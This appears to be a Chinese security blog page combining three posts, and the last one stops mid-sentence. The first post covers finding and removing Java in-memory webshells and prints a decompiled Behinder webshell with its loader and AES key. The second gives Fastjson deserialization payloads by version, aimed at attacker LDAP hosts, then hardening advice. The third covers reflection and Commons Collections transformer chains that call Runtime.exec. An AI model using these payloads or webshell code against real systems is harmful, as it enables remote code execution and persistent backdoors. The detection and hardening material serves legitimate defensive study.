文件,例如:http://127.0.0.1:8088/FilterShell_war_exploded/tomcat-memshell-scanner.jsp。 alt text图片 优点: 轻量级,无需安装额外软件,使用方便快捷。 缺点: 功能相对简单,只能检测 Filter、Servlet 和 Listener 类型的内存马,无法检测其他类型的内存马,例如通过 Java Agent 技术注入的内存马。 2.1.2 工具二:Shell-Analyzer(GUI 界面) 工具地址: JAVA AGENT 查杀内存马,提供简易方便的 GUI 界面,一键反编译目标环境内存马进行分析,支持远程查杀和本地查杀 原理: 该工具通过 Java Agent 技术 attach 到目标 JVM 进程,然后遍历 JVM 中加载的所有 Class,并根据预定义的规则进行匹配,从而识别出潜在的内存马。同时,该工具还提供了 GUI 界面,方便用户查看和分析内存马信息,并支持一键反编译内存马 Class 文件。 使用方法: 获取目标 JVM 进程 PID: 使用 ps -aux | grep "java" 命令找到 Web Tomcat 服务 Java 进程的 PID。 alt text图片 启动远程服务端: 下载 remote-0.1.jar,然后使用以下命令启动远程服务端。需要注意的是,Java 和 Tomcat 启动的版本必须一致,执行命令的用户和 Tomcat 服务的权限必须一致。 sudo -u www /usr/bin/jdk1.8.0_101/bin/java -cp /usr/bin/jdk1.8.0_101/lib/tools.jar:./remote-0.1.jar com.n1ar4.RemoteLoader <PID> <密钥> # 示例 sudo -u www /usr/bin/jdk1.8.0_101/bin/java -cp /usr/bin/jdk1.8.0_101/lib/tools.jar:./remote-0.1.jar com.n1ar4.RemoteLoader 1880409 8hqdvctTalt text图片 启动本地客户端: 下载 gui-0.1.jar,然后使用以下命令启动本地客户端。 java -jar gui-0.1.jar在客户端界面中添加连接密钥和服务器 IP 地址,并确保服务器防火墙已放行 10032 端口。 alt text图片 优点: 支持多种类型的内存马检测,提供 GUI 界面,操作方便,支持远程查杀和本地查杀,可以反编译内存马 Class 文件进行分析。 缺点: 对目标环境有一定要求,需要开放服务器端口。 工具名称工具地址原理优点缺点适用场景java-memshell-scannerhttps://github.com/c0ny1/java-memshell-scanner通过 JSP 脚本遍历 Tomcat 容器中的 Filter/Servlet/Listener,检查 ClassLoader 是否一致。轻量级,无需安装额外软件,使用方便快捷。功能相对简单,只能检测 Filter/Servlet/Listener 类型的内存马,无法检测其他类型的内存马。快速检测 Filter/Servlet/Listener 类型的内存马。shell-analyzerhttps://github.com/4ra1n/shell-analyzer通过 Java Agent 技术 attach 到目标 JVM 进程,遍历所有 Class,并根据预定义规则进行匹配,识别潜在的内存马。功能强大,支持多种类型的内存马检测,提供 GUI 界面,操作方便,支持远程查杀和本地查杀,可以反编译内存马 Class 文件进行分析。需要安装 Java Agent,对目标环境有一定要求,需要开放服务器端口。精准检测多种类型的内存马,包括 Filter/Servlet/Listener、Java Agent 注入、Valve 等。2.2 内存马查杀案例:以冰蝎 Webshell 内存马为例 冰蝎是一款常用的 Webshell 管理工具,它可以通过 Java Agent 技术注入内存马。下面以冰蝎为例,演示如何使用 Shell-Analyzer 工具查杀内存马。 2.2.1 冰蝎注入内存马 使用冰蝎工具连接目标服务器,并注入内存马。 alt text图片 注入后,查看 Tomcat 日志,发现 /memshell 路由存在异常。 alt text图片 2.2.2 使用 Shell-Analyzer 定位内存马 使用 Shell-Analyzer 连接到目标 JVM 进程,刷新后可以看到可疑的内存马。定位到 javax/servlet/http/HttpServlet 类和 service 方法。 public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { HttpServletRequest request = req; ServletResponse response = res; HttpSession e = request.getSession(); String var6 = "/memshell"; if (request.getRequestURI().matches(var6)) { HashMap var7 = new HashMap(); var7.put("request", request); var7.put("response", response); var7.put("session", e); ClassLoader var8 = this.getClass().getClassLoader(); if (request.getMethod().equals("POST")) { try { String var9 = "yv66vgAAADIAXAoACwApCAAqCgAJACsIACwKAAkALQoALgAvCgALADAIADEHADIHADMHADQHADUIADYKAAkANwgAOAcAOQoAEAA6CAA7CAA8CgA9AD4HAD8KABAAQAgAQQoAFQBCCgA9AEMKAD0ARAcARQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAdEZWNyeXB0AQAGKFtCKVtCAQANU3RhY2tNYXBUYWJsZQcANQcAMgEACkV4Y2VwdGlvbnMHAEYBAApTb3VyY2VGaWxlAQAKTG9jYWwuamF2YQwAHAAdAQAQamF2YS51dGlsLkJhc2U2NAwARwBIAQAKZ2V0RGVjb2RlcgwASQBKBwBLDABMAE0MAE4ATwEABmRlY29kZQEAD2phdmEvbGFuZy9DbGFzcwEAAltCAQAQamF2YS9sYW5nL09iamVjdAEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwAUABRAQAMZGVjb2RlQnVmZmVyAQAQamF2YS9sYW5nL1N0cmluZwwAHABSAQAQZTQ1ZTMyOWZlYjVkOTI1YgEAFEFFUy9FQ0IvUEtDUzVQYWRkaW5nBwBTDABUAFUBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDABWAFcBAANBRVMMABwAWAwAWQBaDABbACEBAAVMb2NhbAEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAFKFtCKVYBABNqYXZheC9jcnlwdG8vQ2lwaGVyAQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQAEaW5pdAEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAHZG9GaW5hbAAhABsACwAAAAAAAgABABwAHQABAB4AAAAdAAEAAQAAAAUqtwABsQAAAAEAHwAAAAYAAQAAAAEAAgAgACEAAgAeAAAA9AAIAAUAAACaEgK4AANNLBIEAbYABSwBtgAGTi22AAcSCAS9AAlZAxIKU7YABS0EvQALWQMrU7YABsAACsAACkynAD5OEg24AANNLLYADjoEGQS2AAcSDwS9AAlZAxIQU7YABRkEBL0AC1kDuwAQWSu3ABFTtgAGwAAKwAAKTBISThITuAAUOgQZBAW7ABVZLbYAFhIXtwAYtgAZGQQrtgAasAABAAAAOAA7AAwAAgAfAAAALgALAAAABgAGAAcAEwAIADgAEAA7AAoAPAAMAEIADQBIAA4AdgARAHkAFACTABUAIgAAAAwAAnsHACP8ADoHACQAJQAAAAQAAQAmAAEAJwAAAAIAKA=="; String var10 = "Decrypt"; ByteArrayOutputStream var12 = new ByteArrayOutputStream(); byte[] var13 = new byte[1024]; ServletInputStream var14 = request.getInputStream(); for(int var15 = var14.read(var13); var15 > 0; var15 = var14.read(var13)) { var12.write(var13, 0, var15); } var12.close(); byte[] var16 = var12.toByteArray(); byte[] var11; try { Class var17 = var8.loadClass("sun.misc.BASE64Decoder"); Object var18 = var17.newInstance(); var11 = (byte[])var18.getClass().getMethod("decodeBuffer", String.class).invoke(var18, var9); } catch (Throwable var30) { Class var20 = var8.loadClass("java.util.Base64"); Object var21 = var20.getDeclaredMethod("getDecoder").invoke(null); var11 = (byte[])var21.getClass().getMethod("decode", String.class).invoke(var21, var9); } Method var22 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, ByteBuffer.class, ProtectionDomain.class); var22.setAccessible(true); Constructor var23 = SecureClassLoader.class.getDeclaredConstructor(ClassLoader.class); var23.setAccessible(true); ClassLoader var24 = (ClassLoader)var23.newInstance(var8); Class var25 = (Class)var22.invoke((Object)var24, null, ByteBuffer.wrap(var11), null); Method var26 = var25.getDeclaredMethod(var10, byte[].class); var26.setAccessible(true); byte[] var27 = (byte[])var26.invoke(var25.newInstance(), var16); Class var28 = (Class)var22.invoke((Object)var24, null, ByteBuffer.wrap(var27), null); var28.newInstance().equals(var7); } catch (Exception var32) { var32.printStackTrace(); } catch (Error var33) { var33.printStackTrace(); } return; } } try { request = (HttpServletRequest)req; response = (HttpServletResponse)res; } catch (ClassCastException var31) { throw new ServletException(lStrings.getString("http.non_http")); } this.service(request, response); } } alt text图片 传输数据的加解密在 org.apache.jsp.aes_jsp 类中的 Decrypt 方法中实现: private byte[] Decrypt(byte[] data) throws Exception { String k = "e45e329feb5d925b"; // AES 密钥 Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); // AES 加密算法 c.init(2, new SecretKeySpec(k.getBytes(), "AES")); byte[] decodebs; try { Class baseCls = Class.forName("java.util.Base64"); Object Decoder = baseCls.getMethod("getDecoder", null).invoke(baseCls, null); decodebs = (byte[])Decoder.getClass().getMethod("decode", byte[].class).invoke(Decoder, data); } catch (Throwable var7) { System.out.println("444444"); Class baseClsx = Class.forName("sun.misc.BASE64Decoder"); Object Decoderx = baseClsx.newInstance(); decodebs = (byte[])Decoderx.getClass().getMethod("decodeBuffer", String.class).invoke(Decoderx, new String(data)); } return c.doFinal(decodebs); }2.2.3 删除内存马 使用 Shell-Analyzer 工具删除内存马。 alt text图片 2.2.4 验证查杀结果 再次尝试连接冰蝎,连接失败,说明内存马已被成功查杀。alt text图片 2.3 Value 类型的内存马查杀 除了 Filter/Servlet/Listener 和 Java Agent 注入的内存马,还有一些内存马会修改 Web 容器的配置,例如 Tomcat 的 Valve。这类内存马的查杀方式与其他类型的内存马类似,可以使用 Shell-Analyzer 等工具进行检测和查杀。 alt text图片 本文章首发于:https://xz.aliyun.com/t/16731
Fastjson反序列化漏洞深度解析与利用
Java组件安全
admin
1年前
0
0
0
2024-12-07
Fastjson反序列化漏洞深度解析与利用 1.漏洞原理 Fastjson 反序列化漏洞的核心在于其 autoType 功能。当 autoType 开启时,Fastjson 会根据 JSON 数据中的 @type 字段来实例化对应的 Java 对象。攻击者可以利用这个特性,将 @type 字段设置为恶意类的名称,并在 JSON 数据中传入恶意类的属性值,从而触发恶意类的 setter 方法,最终导致代码执行。 例一 // 假设存在一个 User 类 package org.example; public class User { private int age; private String name; public int getAge() { return age; } public void setAge(int age) { System.out.println("setAge 被调用: " + age); this.age = age; } public String getName() { return name; } public void setName(String name) { System.out.println("setName 被调用: " + name); this.name = name; } @Override public String toString() { return "User{" + "age=" + age + ", name='" + name + '\'' + '}'; } } // 解析指定类 String userJson = "{\"@type\":\"org.example.User\",\"age\":11,\"name\":\"xiaodi\"}"; User user = (User) JSON.parse(userJson); System.out.println(user); // 输出 User{age=11, name='xiaodi'} // 输出 setAge 被调用: 11 // 输出 setName 被调用: xiaodi例二 String userJson ="{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.2.103:1389/imfoer","autoCommit":"true"}"; User user = (User)JSON.parse(userJson); pase.object会反序列化@type对应的类JdbcRowSetImpl,触发类JdbcRowSetImpl里面的set方法,将dataSourceName设置为"ldap://192.168.2.103:1389/imfoer",然后会触发lookup方法,lookup方法会解析我们传入的jndi的payload从而造成最后的命令执行。2.利用方式jndi注入 JNDI(Java Naming and Directory Interface)是 Java 提供的一种命名和目录服务接口,可以用于查找和访问各种资源,例如数据源、远程对象等。JNDI 注入是指攻击者通过构造恶意的 JNDI 地址,使得应用程序在查找资源时加载并执行恶意代码。 2.1远程引用模式(基于jdk版本) 原理: 在 JDK 版本较低时,JNDI 支持从远程加载类,攻击者可以利用这一特性,将恶意类放在远程服务器上,并通过 JNDI 地址指向该远程类,从而实现远程代码执行。 image-20241124163752349图片 image-20241124163142420图片 image-20241110175435976图片 java对象在jndi目录协议中的存储方式: Java 序列化之后的数据 JNDI Reference Marshalled 对象 Remote Location (新版本的 JDK > Java 1.8u191 已弃用) 远程加载类执行rce image-20241202101516884图片 Context ctx = new InitialContext(); ctx.lookup("ldap://attacker.com:1099/Evil"); // 这里将加载远程类前提条件 解决remote远程的加载java对象的jndi注入,jdk之后的更新内容 Java 8u191版本之前默认允许加载远程类 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); Java 8u191+版本 自动禁用远程加载类 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false");所以远程引用模式只针对于java8u191之前的版本,其他的java版本要根据依赖。 利用方式 jndi payload生成: 工具推荐:Java-Chains/web-chains: Web 版 Java Payload 生成与漏洞利用工具,提供 Java 反序列化、Hessian 1/2 反序列化等 Payload 生成,以及 JNDI Exploit、Fake Mysql Exploit、JRMPListener 等相关利用 image-20241126084850121图片 image-20241126085024030图片 2.2反序列化模式(高版本的jdk版本的绕过) 依赖条件:依赖特定的第三方库(gadget chain) 工作原理:通过反序列化漏洞触发利用链 攻击前提:目标环境中存在可利用的反序列化库 并且: 如果代码中设置了禁止Jndi进行加载java对象的时候进行反序列化则不可以利用如: System.setProperty("com.sun.jndi.ldap.object.trustSerialData", "false") //禁止反序列化远程对象image-20241126084252647图片 但是默认是允许加载远程对象的 利用方式: 在黑盒的情况不知道依赖包,但是已近知道了jndi注入点的情况下,首先使用工具探测反序列化链: image-20241126085628986图片 探测结果如下: image-20241126090200716图片 分析:推荐找一个好一点的dnslog平台,一些dnslog平台只能显示一页的数据,可以看到这里发现存在cc链,生成基于cc反序列化的jndi注入payload image-20241126090424569图片 image-20241126090349436图片 2.3 本地引用模式 (Local Reference绕高版本jdk) 依赖条件: 目标环境中存在特定的类,这些类可以来自环境本身(如 Tomcat 服务器),也可以来自于依赖包中的类。 攻击前提: 目标环境必须包含攻击所需的类(如 Tomcat、Groovy 等)。 利用方式 利用本地已有的类(如 Tomcat 的 org.apache.naming.factory.BeanFactory)作为 Factory,通过 JNDI 注入实例化恶意类并执行恶意代码。 alt text图片 alt text图片 3. Exp 及不同版本漏洞利用 3.1 漏洞触发点: Fastjson 反序列化漏洞的触发点主要集中在以下两个方法: JSON.parseObject(): 将 JSON 字符串反序列化为 Java 对象。 JSON.parse(): 将 JSON 字符串解析为 JSON 对象,但在某些情况下(例如存在 @type 字段)也会触发反序列化。 3.2 fastjson不同版本的绕过历史 Fastjson 在不同版本中,针对 autoType 的安全限制有所不同,攻击者也需要使用不同的绕过技巧。autoType 是 Fastjson 中一个关键配置,用于控制是否自动进行类型转换,如果开启,攻击者可以通过 @type 字段指定任意类进行反序列化。 3.2.1 Fastjson 1.2.24 及之前的版本 特点: autoType 默认开启,且没有严格的黑名单限制。 利用方式: 直接利用 JdbcRowSetImpl 进行 JNDI 注入。 {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.2.103:1389/imfoer","autoCommit":"true"}原理: @type 指定反序列化的目标类为 com.sun.rowset.JdbcRowSetImpl。 dataSourceName 设置为恶意的 JNDI 地址,指向攻击者的 LDAP 服务器。 autoCommit 设置为 true,触发 JdbcRowSetImpl 的 connect 方法,进而触发 JNDI lookup 操作,实现远程代码执行。 3.2.2 Fastjson 1.2.25 - 1.2.41 特点: autoType 默认关闭,但可以通过配置开启。引入了黑名单机制,但可以通过在类名前后加 "L" 和 ";" 绕过。 image-20241204090923744图片 利用方式 (autoTypeSupport 开启): 添加允许autotype的配置 并在在类名前后添加 "L" 和 ";"。 {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://192.168.2.103:1389/imfoer","autoCommit":"true"}原理: Fastjson 在加载类时会去除类名前后的 "L" 和 ";",从而绕过黑名单校验。 image-20241204091528751图片 3.2.3 Fastjson 1.2.42 - 1.2.47 通杀 Exp 方案 (autoTypeSupport 关闭): 特点: autoType 默认关闭,黑名单机制加强,修复了之前 "L" 和 ";" 的绕过方式。 利用方式: 直接利用 java.lang.Class 加载恶意类到缓存,绕过黑名单限制,autotype开不开启都可以利用。 { "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://192.168.139.1:1389/lvkr9r", "autoCommit": true } } image-20241204092142646图片 接下来的版本绕过就是通过反序列化其他的类来绕过限制:不再是JdbcRowSetImpl 3.2.4 fastjson <=1.2.62 1.前提条件 xbean依赖,手动开启autotype 2.exp { "@type":"org.apache.xbean.propertyeditor.JndiConverter", "AsText":"ldap://127.0.0.1:1099/exploit" }";image-20241204105713635图片 3.2.5 fastjson<=1.2.66 1.前提条件 shiro依赖,手动开启autotype 2.exp { "@type":"org.apache.shiro.jndi.JndiObjectFactory", "resourceName":"ldap://192.168.80.1:1389/Calc" }image-20241204110019371图片 3.3fastjson反序列化链的跟踪 JdbcRowSetImpl链 jdbc1图片 3.3.1 利用条件: Fastjson 版本 <= 1.2.47 autoTypeSupport 开启 或 通过 java.lang.Class 绕过黑名单限制 3.3.2 反序列化调用链 (Fastjson 部分): JSON.parseObject()/JSON.parse() DefaultJSONParser.parse() DefaultJSONParser.parseObject() JavaBeanDeserializer.deserialze() FieldDeserializer.setValue() TypeUtils.cast() TypeUtils.loadClass() // 加载 JdbcRowSetImpl 类 (或从缓存中获取) JavaBeanDeserializer.deserialze() // 反序列化 JdbcRowSetImpl 对象 FieldDeserializer.setValue() // 设置 dataSourceName 属性 FieldDeserializer.setValue() // 设置 autoCommit 属性 JdbcRowSetImpl.setAutoCommit(true) JdbcRowSetImpl.connect() JndiDataSource.getConnection() JndiContext.lookup("ldap://192.168.139.1:1389/Exploit")//JNDI注入 // ... JNDI 服务器返回恶意 Reference 对象 ... // ... JdbcRowSetImpl 加载并实例化恶意对象 ... // ... 远程代码执行 ...jdbc2图片 入口点: JSON.parseObject() 或 JSON.parse() 方法接收 JSON 字符串作为输入。 JavaBeanDeserializer 反序列化: 当解析到 @type 字段时,Fastjson 会根据 val 属性值(或直接根据 @type 值)加载对应的类。 如果 autoTypeSupport 开启,且目标类不在黑名单中,则直接加载。 如果 autoTypeSupport 关闭,则需要通过其他方式绕过黑名单,例如利用 java.lang.Class 将恶意类加载到缓存中。 TypeUtils.loadClass(): 加载或从缓存中获取 com.sun.rowset.JdbcRowSetImpl 类。 JavaBeanDeserializer.deserialze(): 创建 JdbcRowSetImpl 对象,并根据 JSON 数据设置对象的属性。 FieldDeserializer.setValue(): 分别设置 dataSourceName 和 autoCommit 属性。 3.3.3 JdbcRowSetImpl 执行链: 设置 autoCommit 属性: Fastjson 通过反射调用 JdbcRowSetImpl.setAutoCommit(true) 方法。 触发 connect 方法: setAutoCommit(true) 方法内部会调用 connect() 方法建立数据库连接。 JNDI 注入: JdbcRowSetImpl.connect() 方法会调用 this.getDataSource().getConnection() 获取数据库连接。 this.getDataSource() 会返回一个 JndiDataSource 对象(因为 dataSourceName 被设置为 JNDI URL)。 JndiDataSource.getConnection() 会调用 JndiContext.lookup(dataSourceName),触发 JNDI 查找。 4.加固修复方法 最好的加固办法是将fastjson更新到最新版本和将jdk的版本更新到jdk8u191及以上,但是在实际应用场景中因为一些特殊原因不能更新的情况下就可尝试以下的方法进行一个加固。 4.1. 禁用 JDK 的远程 JNDI 查找和反序列化模式 为了防止攻击者利用 JNDI 进行远程代码执行攻击,需要禁用 JNDI 的远程 Codebase 加载和反序列化功能。以下是几种常用的配置方式: 1.1 启动参数方式 java -Dcom.sun.jndi.ldap.object.trustURLCodebase=false \ -Dcom.sun.jndi.rmi.object.trustURLCodebase=false \ -Dcom.sun.jndi.ldap.object.trustSerialData=false \ -jar your-application.jar说明: com.sun.jndi.ldap.object.trustURLCodebase=false: 禁用 LDAP 协议远程加载 Codebase。 com.sun.jndi.rmi.object.trustURLCodebase=false: 禁用 RMI 协议远程加载 Codebase。 com.sun.jndi.ldap.object.trustSerialData=false: 禁止 LDAP 反序列化从 LDAP 服务器接收到的序列化数据。 推荐使用启动参数方式,因为这种方式可以在应用启动时就生效,避免代码执行时被绕过。 此外,启动参数方式可以避免代码层面的修改,更易于部署和维护。 1.2 代码方式 public class JNDISecurityConfig { static { // 禁用 LDAP 远程加载 Codebase setPropertyIfAbsent("com.sun.jndi.ldap.object.trustURLCodebase", "false"); // 禁用 RMI 远程加载 Codebase setPropertyIfAbsent("com.sun.jndi.rmi.object.trustURLCodebase", "false"); // 禁止 LDAP 反序列化远程数据 setPropertyIfAbsent("com.sun.jndi.ldap.object.trustSerialData", "false"); } private static void setPropertyIfAbsent(String key, String value) { if (System.getProperty(key) == null) { System.setProperty(key, value); } } }说明:代码方式的缺点是,如果代码没有被执行到 (例如,在类加载之前就发生了 JNDI 查找),或者被绕过 (例如,攻击者可以控制类加载),那么配置将不会生效。 1.3 Spring Boot 配置文件方式 (application.yml 或 application.properties推荐这种方式) application.yml: spring: application: jvm: args: - "-Dcom.sun.jndi.ldap.object.trustURLCodebase=false" - "-Dcom.sun.jndi.rmi.object.trustURLCodebase=false" - "-Dcom.sun.jndi.ldap.object.trustSerialData=false"application.properties: spring.application.jvm.args=-Dcom.sun.jndi.ldap.object.trustURLCodebase=false \ -Dcom.sun.jndi.rmi.object.trustURLCodebase=false \ -Dcom.sun.jndi.ldap.object.trustSerialData=false说明:这种方式等同于启动参数方式,但更方便管理和配置,特别是在 Spring Boot 项目中。Spring Boot 会自动将这些 JVM 参数应用到应用程序中。 4.2. 禁用 Fastjson autotype 反序列化 @type 指定的类 2.1 全局禁用 (强烈推荐) import com.alibaba.fastjson.parser.ParserConfig; import javax.annotation.PostConstruct; import org.springframework.context.annotation.Configuration; @Configuration public class FastjsonConfig { @PostConstruct public void init() { // 全局禁用autoType,并开启 SafeMode ParserConfig.getGlobalInstance().setAutoTypeSupport(false); } }说明:setAutoTypeSupport(false): 全局禁用 autotype 功能,这是最安全的做法。全局禁用后,即使在代码中指定了 @type 也不会生效,更不可能被攻击缺点是业务会受到影响。 4.3. 使用 @type 的情况下,配置 Fastjson 反序列化白名单类 如果您确实需要使用 @type,那么必须配置反序列化白名单类,以限制可被反序列化的类。 3.1 代码方式配置白名单 (推荐) import com.alibaba.fastjson.parser.ParserConfig; import javax.annotation.PostConstruct; import org.springframework.context.annotation.Configuration; @Configuration public class FastjsonConfig { @PostConstruct public void init() { // 开启 autoType,并设置白名单 ParserConfig.getGlobalInstance().setAutoTypeSupport(true); ParserConfig.getGlobalInstance().addAccept("com.example.model."); // 允许 com.example.model 包下的所有类 ParserConfig.getGlobalInstance().addAccept("com.example.another.SpecificClass"); // 允许指定类 } }说明: ParserConfig.getGlobalInstance().setAutoTypeSupport(true): 开启 autotype 功能。 ParserConfig.getGlobalInstance().addAccept("com.example.model."): 添加白名单,允许 com.example.model 包下的所有类被反序列化。 ParserConfig.getGlobalInstance().addAccept("com.example.another.SpecificClass"): 添加指定类到白名单。 3.3 Spring Boot 配置文件方式配置白名单(推荐这种) spring: application: jvm: args: - "-Dfastjson.parser.autoTypeAccept=com.example.model.exclass,com.example.another.SpecificClass"本文章首发于:https://xz.aliyun.com/t/16547
Java反序列化攻击链:深入剖析与实战
反序列化链分析于实战
admin
1年前
6
1,120
102
2024-11-27
Java反序列化攻击链:深入剖析与实战 1.java的反射机制 1.1. 反射的基本概念 反射允许程序在运行时(而不是编译时)动态地: 1.获取类的信息 2.创建对象 3.调用方法,当像protected,private修饰的方法的时候不能直接调用就可以采取反射的形式调用。但是反射无法访问被强封装的类和成员。这些类通常位于Java的内部包中,例如sun.或com.sun. 4.访问/修改字段 5.甚至可以访问私有成员 1.2.反射实际用例 Evil类 package com.example.shiro550.shiro; import java.io.*; public class Evil implements Serializable{ public String cmd; private void readObject(java.io.ObjectInputStream stream) throws Exception{ stream.defaultReadObject(); Runtime.getRuntime().exec(cmd); } //set protected void setCmd(String cmd) throws IOException { this.cmd = cmd; Runtime.getRuntime().exec(cmd); } } //首先获取class对象,通过 Class 对象,我们可以在运行时动态地获取和操作evil类的结构 Class clz = Class.forName("com.example.shiro550.shiro.Evil"); //再通过class对象获取constructor,再通过constructor构造器来创建实例 Constructor testConstructor = clz.getConstructor(); Object testreadobject = testConstructor.newInstance();//newInstance方法来创建一个 Evil 类的实例 // 再通过class对象获取类中私有方法,参数类型为 String Method setCmdmethond = clz.getDeclaredMethod("setCmd", String.class); // 设置私有方法可访问 setCmdmethond.setAccessible(true); //最后通过invoke方法调用类中setCmd的方法执行calc setCmdmethond.invoke(testreadobject,"calc"); //通过class对象获取类的属性 Field[] fileds = clz.getDeclaredFields(); for (Field field: fileds) { System.out.println(field.getName()); } 1.3cc链中 通过InvokerTransformer类进行反射调用 // 方法一:直接使用 InvokerTransformer 调用 Runtime r = Runtime.getRuntime(); // 获取 Runtime 实例 // 通过 InvokerTransformer 调用 Runtime.exec() 方法 new InvokerTransformer( "exec", // 要调用的方法名 new Class[]{String.class}, // 方法参数类型 new Object[]{"calc"} // 方法参数值 ).transform(r); // 传入 Runtime 实例执行转换 // 方法二:使用 ChainedTransformer 串联多个转换器 Transformer[] transformers = new Transformer[] { // 1. 获取 Runtime 类对象 new ConstantTransformer(Runtime.class), // 2. 获取 getRuntime 方法 new InvokerTransformer( "getMethod", // 调用 Class.getMethod() new Class[] {String.class, Class[].class}, // 参数类型:方法名和参数类型数组 new Object[] {"getRuntime", new Class[0]} // 参数值:getRuntime 方法名和空参数 ), // 3. 调用 getRuntime 方法获取 Runtime 实例 new InvokerTransformer( "invoke", // 调用 Method.invoke() new Class[] {Object.class, Object[].class}, // 参数类型:调用对象和参数数组 new Object[] {null, new Object[0]} // 参数值:静态方法故为 null,无参数 ), // 4. 执行命令 new InvokerTransformer( "exec", // 调用 Runtime.exec() new Class[] {String.class}, // 参数类型:命令字符串 new Object[] {"calc.exe"} // 参数值:要执行的命令 ) }; // 将转换器数组封装成 ChainedTransformer Transformer transformerChain = new ChainedTransformer(transformers); // 执行转换链,触发命令执行 transformerChain.transform(null); // 初始输入为 null,因为第一个转换器是 ConstantTransformer2.java的字节码class文件动态加载 2.1.Java文件编译命令 使用 javac Hello.java 将Java源文件编译为class文件 2.2. 加载class文件的三种方法 方法一:使用URLClassLoader,使用URL指定class文件所在目录,通过loader.loadClass()方法加载类,适用于加载指定目录下的类文件 import java.io.File; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; public class LoadTest { public static void main(String[] args) { try { // 指定class文件所在目录(注意:需要指定目录,而不是具体文件) File file = new File("C:\\Users\\32289\\Desktop"); URL url = file.toURI().toURL(); // 创建URLClassLoader try (URLClassLoader loader = new URLClassLoader(new URL[]{url})) { // 加载Hello类 Class<?> helloClass = loader.loadClass("Hello"); // 调用main方法 Method mainMethod = helloClass.getMethod("main", String[].class); mainMethod.invoke(null, (Object) new String[]{}); } } catch (Exception e) { e.printStackTrace(); } } }方法二:直接使用defineClass import java.nio.file.Files; import java.nio.file.Paths; public class LoadTest { static class MyClassLoader extends ClassLoader { public Class<?> defineClass(byte[] bytes) { return defineClass(null, bytes, 0, bytes.length); } } public static void main(String[] args) { try { // 读取class文件 byte[] bytecodes = Files.readAllBytes(Paths.get("Hello.class")); // 加载类 MyClassLoader loader = new MyClassLoader(); Class<?> clazz = loader.defineClass(bytecodes); System.out.println("成功加载类: " + clazz.getName()); } catch (Exception e) { e.printStackTrace(); } } }方法三:使用自定义ClassLoader + defineClass,直接读取class文件的字节码,通过重写findClass方法实现类加载,使用defineClass将字节码转换为Class对象。TemplatesImpl执行类作为反序列化最后常用的执行点,最终加载恶意的class文件也是类似于这种办法。 import java.nio.file.Files; import java.nio.file.Paths; import java.lang.reflect.Method; public class LoadTest { public static void main(String[] args) { try { // 直接读取class文件的字节码 byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\32289\\Desktop\\Hello.class")); // 创建自定义类加载器 ClassLoader loader = new ClassLoader() { @Override protected Class<?> findClass(String name) { return defineClass(name, bytes, 0, bytes.length); } }; // 加载类 Class<?> helloClass = loader.loadClass("Hello"); // 调用main方法 Method mainMethod = helloClass.getMethod("main", String[].class); mainMethod.invoke(null, (Object) new String[]{}); } catch (Exception e) { e.printStackTrace(); } } }TemplatesImpl中的关键代码: public class TransletClassLoader extends ClassLoader { private final SecurityManager _security; public TransletClassLoader(SecurityManager security) { _security = security; } public Class<?> defineClass(final byte[] b) { return defineClass(null, b, 0, b.length); } } private void daefineTransletClasses() { *// 获取字节码* byte[][] bytecodes = getBytecodes(); *// 使用defineClass直接加载字节码* _class[i] = loader.defineClass(null, bytecodes[i], 0, bytecodes[i].length); }3.java反序列化链思路 3.1.入口点(Entry Point): 反序列化操作的起始位置,通常是 readObject() 方法。 当目标应用调用某个类的 readObject() 方法,且该类重写了 readObject() 方法时,就会触发自定义的反序列化逻辑。 寻找入口点: 寻找那些直接或间接调用 readObject() 方法的地方,例如: ObjectInputStream.readObject() 一些框架或组件中自定义的反序列化逻辑如(shiro,fastjson) 例子: // Evil.java (可被攻击的类) package EvilSerializtion; import java.io.*; public class Evil implements Serializable { public String cmd; private void readObject(java.io.ObjectInputStream stream) throws Exception { stream.defaultReadObject(); Runtime.getRuntime().exec(cmd); // 执行命令 } }当对 Evil 类的序列化数据进行反序列化时,readObject() 方法会被调用,从而执行命令。 3.2利用链/Gadget Chain: 从入口点到执行点的一系列方法调用,就像一条链条一样将两者串联起来。利用链中的每个环节都承上启下,最终导向恶意代码的执行。 寻找Gadget: 寻找可利用的类和方法,这些类和方法通常具有以下特点: 实现了 Serializable 